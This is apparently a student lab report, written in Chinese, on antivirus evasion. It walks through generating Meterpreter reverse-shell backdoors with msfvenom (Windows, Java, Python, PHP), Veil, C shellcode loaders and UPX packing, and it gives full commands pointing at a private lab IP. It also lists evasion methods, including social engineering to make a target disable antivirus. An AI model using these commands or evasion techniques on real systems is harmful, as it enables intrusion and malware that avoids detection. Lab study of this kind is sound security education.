20175323 Exp3 免杀原理与实践

exp3 免杀原理与实践

1.1.基础问题回答

(1)杀软是如何检测出恶意代码的?

 1. 基于特征码的检测:通过检测一个文件是否包含一段或多段符合恶意代码特征的数据来判断
 2. 启发式检测:通过监测软件的行为是否是常见恶意软件的行为来判断,根据片面特征去推断,缺乏精确
 3. 基于行为检测:类似于是启发式检测,加入了行为监控。

(2)免杀是做什么?

通过一些手段让程序中的恶意代码不被杀软杀出    

(3)免杀的基本方法有哪些?

 1.改变特征码:
	 如果手里只有exe
        加壳:压缩壳、加密壳
	 有shellcode(如Meterpreter):
        用encode进行编码
        基于payload重新编译生成可执行文件
     有源代码:
        用其他语言进行重新编写
 2.改变行为
	 通讯方式
        尽量使用反弹式连接
        使用隧道技术
        加密通讯数据
	 操作模式
        基于内存操作
        减少对系统的修改
        加入混淆作用的正常功能代码
 3.非常规方法
        使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
        使用社工类攻击,诱骗目标关闭AV软件
        纯手工打造一个恶意软件

1.2.开启杀软能绝对防止电脑中恶意代码吗?

不能,如下载的某些软件和操作系统自带的后门,无法被某一种杀软全部杀出。

2.实践过程记录

2.1 正确使用msf编码器

我的虚拟机的IP是192.168.1.6,将实验二生成的后门文件在VirusTotal和Virscan这两个网站进行扫描, VirusTotal:

Virscan:

可以看到实验二中用msfvenom直接用indows/meterpreter/reverser_tcp的payload生成的后门是56/71的查出比例。
然后用msf编码器,使用-e参数进行编码生成文件,再使用-b参数去除文件中的\x00字符,因为这个字符代表结束符

用VirusTotal扫描生成的bd.exe:发现查出比例没有丝毫变化

然后我想要换几个payload和encoder试试,我进入cd /usr/share/metasploit-framework/modules文件夹下面的payload和encoder文件下查看有什么可选

  • singles:独立载荷,可直接植入目标系统并执行相应的程序
  • stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击
  • stages:传输体载荷,如shell,meterpreter等。 尝试用其他的payload或encoder编码器生成文件


但是VirusTotal检测结果仍然没有太大变化,都是71个杀毒软件有50个左右的能检测出来
并且我移动到win10主机上都是不会被立刻杀出但是运行后立刻杀出
尝试用-i参数多次编码

查杀结果:毫无变化

2.2 msfvenom生成如jar之类的其他文件
可以将msfvenom的payload都重定向导出后搜索:

使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5323 -f jar> bdJava.jar

查出率稍有降低:

生成python文件,效果还还行,命令是msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5323 x> bdJava.py但是提示没有对应的编码器

生成php文件,查杀较少,msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5323 x> bdJava.php

2.3 veil
安装veil:
这里方法有很多种,我试过直接git clone 网址,但是每次卡在17%的位置,挂个代理也不行。
还尝试过下载到主机再复制到kali解压,进入到veil-evasion目录下,用bash setup/setup.sh -s安装

这个办法报了很多错,最后直接用apt-get install veil-evasion --fix-missing后面这个选项能够解决很多依赖关系
更新完后输入veil进入安装

会遇到Ruby等一系列的安装,我是疯狂点下一步,用的默认路径,done,之后提示:

我按照提示指令运行/usr/share/veil/config/setup.sh --force --silent这句话是让强制静默执行,done!

其实执行apt-get clean#apt-get update#apt-get upgrade -y三连后再install会更好
另外记录下遇到的"主机名无法解析"的问题,这是因为我用/etc/hostname在改主机名时候没有改/etc/hosts
解决:在/etc/hosts文件下找到127.0.1.1 kali改成当前主机名就可以

  • 用veil生成后门程序
    用list列出所有可用payload

    试试这个没见过的go语言(use 16)

    set设置IP和端口

    generate:

    检出率仍然很高:

    但是在win10上双击exe文件没有立刻弹出360杀出的提示,大约过了半分钟才杀掉这个程序
    2.4 使用C + shellcode编程
    sfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5323 -f c生成shellcode

    用生成的shellcode编写c程序

    查杀比例:

    2.5 加壳工具
    用压缩壳对2.4生成的5323.exe进行加壳,命令是upx 5323.exe -o 5323upx.exe

    这个的查出率也挺高的

    但是我电脑的360又没检测出来……就很奇怪

    后面发现第一次双击是没有检出,可是第二次双击就检出了,所以也是免杀失败。
    2.6 通过组合应用各种技术实现恶意代码免杀
    没有实现
posted @ 2020-04-04 00:51  20175323鞠欣余  阅读(150)  评论(0编辑  收藏  举报